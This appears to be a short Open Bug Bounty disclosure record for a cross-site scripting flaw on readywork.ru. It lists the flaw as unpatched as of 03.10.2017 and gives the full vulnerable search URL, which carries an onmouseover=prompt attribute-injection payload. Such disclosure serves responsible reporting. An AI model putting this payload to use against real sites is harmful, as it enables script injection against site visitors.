readywork.ru XSS vulnerability

Vulnerable URL: https://www.readywork.ru/search?Hpar=1ℑ==aaaaa%22+onmouseover%3Dprompt%2FOPENBUGBOUNTY%2F+bad=19 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 03.10.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1100822 VIP website...